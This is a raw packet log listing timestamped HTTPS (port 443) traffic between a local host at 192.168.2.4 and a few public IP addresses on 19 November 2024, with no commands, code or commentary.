Nov 19, 2024 19:15:30.416455984 CET	443	50024	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.416516066 CET	443	50024	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.416522026 CET	50024	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.416570902 CET	50024	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.416624069 CET	50024	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.416644096 CET	443	50024	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.416655064 CET	50024	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.416661024 CET	443	50024	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.419616938 CET	50029	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.419663906 CET	443	50029	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.419734955 CET	50029	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.419894934 CET	50029	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.419914007 CET	443	50029	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.452110052 CET	50030	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:15:30.452158928 CET	443	50030	142.250.186.68	192.168.2.4
Nov 19, 2024 19:15:30.452254057 CET	50030	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:15:30.452547073 CET	50030	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:15:30.452558994 CET	443	50030	142.250.186.68	192.168.2.4
Nov 19, 2024 19:15:30.705380917 CET	443	50025	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.715898991 CET	50025	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.715939045 CET	443	50025	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.716881037 CET	50025	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.716886997 CET	443	50025	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.717250109 CET	443	50027	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.717755079 CET	50027	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.717763901 CET	443	50027	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.718252897 CET	50027	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.718257904 CET	443	50027	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.749785900 CET	443	50026	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.750283957 CET	50026	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.750314951 CET	443	50026	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.750816107 CET	50026	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.750824928 CET	443	50026	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.812272072 CET	443	50025	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.812546015 CET	443	50025	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.812731028 CET	50025	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.812941074 CET	50025	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.812959909 CET	443	50025	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.812964916 CET	50025	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.812971115 CET	443	50025	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.817017078 CET	50031	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.817055941 CET	443	50031	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.817142963 CET	50031	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.817342043 CET	50031	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.817362070 CET	443	50031	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.862482071 CET	443	50026	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.862550974 CET	443	50026	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.862639904 CET	50026	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.862670898 CET	443	50026	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.863651991 CET	50026	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.863676071 CET	443	50026	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.863686085 CET	50026	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.864063978 CET	443	50026	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.864157915 CET	443	50026	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.864206076 CET	50026	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.867290974 CET	50032	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.867340088 CET	443	50032	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.867410898 CET	50032	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.867532969 CET	50032	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.867544889 CET	443	50032	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.877314091 CET	443	50028	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.877837896 CET	50028	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.877876043 CET	443	50028	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.878356934 CET	50028	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.878367901 CET	443	50028	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.920960903 CET	443	50027	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.921000004 CET	443	50027	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.921056986 CET	443	50027	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.921117067 CET	50027	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.921248913 CET	50027	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.921272039 CET	443	50027	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.921303988 CET	50027	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.921310902 CET	443	50027	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.925343990 CET	50033	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.925395966 CET	443	50033	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.925481081 CET	50033	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.925626993 CET	50033	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.925640106 CET	443	50033	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.979701996 CET	443	50028	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.979830980 CET	443	50028	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.979887009 CET	50028	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.979892969 CET	443	50028	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.980186939 CET	50028	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.980269909 CET	50028	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.980290890 CET	443	50028	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.980302095 CET	50028	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.980308056 CET	443	50028	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.985008955 CET	50034	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.985058069 CET	443	50034	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.985129118 CET	50034	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.985397100 CET	50034	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.985414028 CET	443	50034	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.084448099 CET	443	50030	142.250.186.68	192.168.2.4
Nov 19, 2024 19:15:31.093020916 CET	443	50029	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.102559090 CET	50030	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:15:31.102593899 CET	443	50030	142.250.186.68	192.168.2.4
Nov 19, 2024 19:15:31.103174925 CET	443	50030	142.250.186.68	192.168.2.4
Nov 19, 2024 19:15:31.103207111 CET	50029	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.103231907 CET	443	50029	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.103818893 CET	50029	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.103833914 CET	443	50029	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.104595900 CET	50030	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:15:31.104728937 CET	443	50030	142.250.186.68	192.168.2.4
Nov 19, 2024 19:15:31.154555082 CET	50030	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:15:31.207000971 CET	443	50029	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.207273006 CET	443	50029	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.207364082 CET	50029	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.207406044 CET	50029	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.207426071 CET	443	50029	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.207438946 CET	50029	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.207444906 CET	443	50029	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.210442066 CET	50035	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.210494041 CET	443	50035	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.210556030 CET	50035	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.210808992 CET	50035	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.210820913 CET	443	50035	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.451029062 CET	443	50031	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.451622009 CET	50031	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.451652050 CET	443	50031	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.452030897 CET	50031	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.452044010 CET	443	50031	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.538640976 CET	443	50032	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.539160013 CET	50032	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.539185047 CET	443	50032	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.539621115 CET	50032	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.539627075 CET	443	50032	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.550040007 CET	443	50031	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.550146103 CET	443	50031	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.550192118 CET	443	50031	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.550225019 CET	50031	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.550273895 CET	50031	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.550352097 CET	50031	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.550368071 CET	443	50031	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.550384998 CET	50031	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.550390959 CET	443	50031	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.553459883 CET	50036	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.553495884 CET	443	50036	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.553551912 CET	50036	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.553714991 CET	50036	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.553726912 CET	443	50036	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.559698105 CET	443	50033	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.560290098 CET	50033	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.560312986 CET	443	50033	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.560823917 CET	50033	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.560828924 CET	443	50033	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.632416010 CET	443	50034	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.632960081 CET	50034	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.632989883 CET	443	50034	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.633476973 CET	50034	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.633482933 CET	443	50034	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.643711090 CET	443	50032	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.643964052 CET	443	50032	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.644033909 CET	50032	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.644222975 CET	50032	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.644243002 CET	443	50032	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.644273996 CET	50032	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.644279957 CET	443	50032	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.648008108 CET	50037	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.648058891 CET	443	50037	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.648236990 CET	50037	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.648376942 CET	50037	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.648386955 CET	443	50037	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.660125971 CET	443	50033	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.660202026 CET	443	50033	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.660247087 CET	443	50033	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.660290003 CET	50033	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.660357952 CET	50033	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.660552025 CET	50033	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.660567045 CET	443	50033	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.660599947 CET	50033	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.660604954 CET	443	50033	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.663631916 CET	50038	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.663674116 CET	443	50038	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.663882971 CET	50038	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.664056063 CET	50038	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.664063931 CET	443	50038	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.735325098 CET	443	50034	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.735605955 CET	443	50034	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.735754967 CET	50034	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.735837936 CET	50034	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.735857010 CET	443	50034	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.735881090 CET	50034	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.735887051 CET	443	50034	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.739911079 CET	50039	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.739943027 CET	443	50039	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.739998102 CET	50039	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.740253925 CET	50039	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.740268946 CET	443	50039	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.891935110 CET	443	50035	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.892507076 CET	50035	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.892544985 CET	443	50035	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.892997980 CET	50035	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.893006086 CET	443	50035	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.997941971 CET	443	50035	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.998080015 CET	443	50035	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.998136044 CET	443	50035	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.998169899 CET	50035	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.998198986 CET	50035	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.998285055 CET	50035	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.998311996 CET	443	50035	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:31.998327971 CET	50035	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:31.998334885 CET	443	50035	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.003983974 CET	50040	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.004023075 CET	443	50040	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.004173040 CET	50040	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.004307032 CET	50040	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.004323959 CET	443	50040	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.187886000 CET	443	50036	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.188766003 CET	50036	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.188786030 CET	443	50036	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.189524889 CET	50036	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.189529896 CET	443	50036	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.217379093 CET	443	50038	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.218025923 CET	50038	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.218050957 CET	443	50038	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.218524933 CET	50038	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.218529940 CET	443	50038	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.278912067 CET	443	50037	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.279611111 CET	50037	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.279637098 CET	443	50037	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.280329943 CET	50037	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.280345917 CET	443	50037	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.289820910 CET	443	50036	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.290277958 CET	443	50036	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.290360928 CET	50036	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.290476084 CET	50036	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.290503025 CET	443	50036	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.290514946 CET	50036	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.290523052 CET	443	50036	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.293951988 CET	50041	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.293994904 CET	443	50041	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.294578075 CET	50041	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.294841051 CET	50041	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.294851065 CET	443	50041	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.319371939 CET	443	50038	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.319474936 CET	443	50038	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.319530010 CET	50038	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.319960117 CET	50038	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.319976091 CET	443	50038	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.319987059 CET	50038	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.319992065 CET	443	50038	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.323734999 CET	50042	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.323770046 CET	443	50042	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.324033976 CET	50042	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.324414968 CET	50042	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.324431896 CET	443	50042	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.379587889 CET	443	50037	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.379806995 CET	443	50037	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.379865885 CET	443	50037	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.379919052 CET	50037	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.379957914 CET	50037	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.386042118 CET	443	50039	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.407330990 CET	50037	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.407361984 CET	443	50037	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.407380104 CET	50037	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.407386065 CET	443	50037	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.409123898 CET	50039	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.409152985 CET	443	50039	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.409955978 CET	50039	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.409965992 CET	443	50039	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.510730982 CET	443	50039	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.511307955 CET	443	50039	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.511548996 CET	50039	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.655093908 CET	443	50040	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.672590017 CET	50043	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.672642946 CET	443	50043	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.673116922 CET	50043	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.700484037 CET	50040	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.701258898 CET	50039	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.701293945 CET	443	50039	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.701311111 CET	50039	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.701318979 CET	443	50039	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.703963995 CET	50040	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.703974962 CET	443	50040	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.704937935 CET	50040	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.704945087 CET	443	50040	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.705097914 CET	50043	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.705123901 CET	443	50043	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.709950924 CET	50044	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.709985971 CET	443	50044	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.710136890 CET	50044	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.710396051 CET	50044	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.710406065 CET	443	50044	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.808193922 CET	443	50040	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.808341026 CET	443	50040	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.808394909 CET	50040	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.808398008 CET	443	50040	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.808835983 CET	50040	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.809226036 CET	50040	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.809243917 CET	443	50040	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.814367056 CET	50045	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.814402103 CET	443	50045	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.814474106 CET	50045	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.814953089 CET	50045	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.814960957 CET	443	50045	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.941340923 CET	443	50041	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.941989899 CET	50041	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.942019939 CET	443	50041	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.942591906 CET	50041	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:32.942599058 CET	443	50041	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:32.999352932 CET	443	50042	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.001000881 CET	50042	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.001013994 CET	443	50042	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.004609108 CET	50042	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.004617929 CET	443	50042	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.043302059 CET	443	50041	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.043495893 CET	443	50041	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.043569088 CET	50041	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.043675900 CET	50041	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.043705940 CET	443	50041	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.043718100 CET	50041	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.043724060 CET	443	50041	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.047508955 CET	50046	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.047543049 CET	443	50046	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.047708988 CET	50046	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.047848940 CET	50046	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.047861099 CET	443	50046	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.107873917 CET	443	50042	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.108019114 CET	443	50042	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.108191967 CET	50042	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.108416080 CET	50042	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.108416080 CET	50042	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.108436108 CET	443	50042	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.108444929 CET	443	50042	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.113343954 CET	50047	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.113382101 CET	443	50047	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.114375114 CET	50047	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.115187883 CET	50047	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.115200996 CET	443	50047	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.348885059 CET	443	50044	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.349590063 CET	50044	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.349627018 CET	443	50044	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.350203991 CET	50044	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.350217104 CET	443	50044	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.386245012 CET	443	50043	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.386851072 CET	50043	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.386878014 CET	443	50043	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.387453079 CET	50043	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.387459993 CET	443	50043	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.454068899 CET	443	50045	13.107.246.45	192.168.2.4
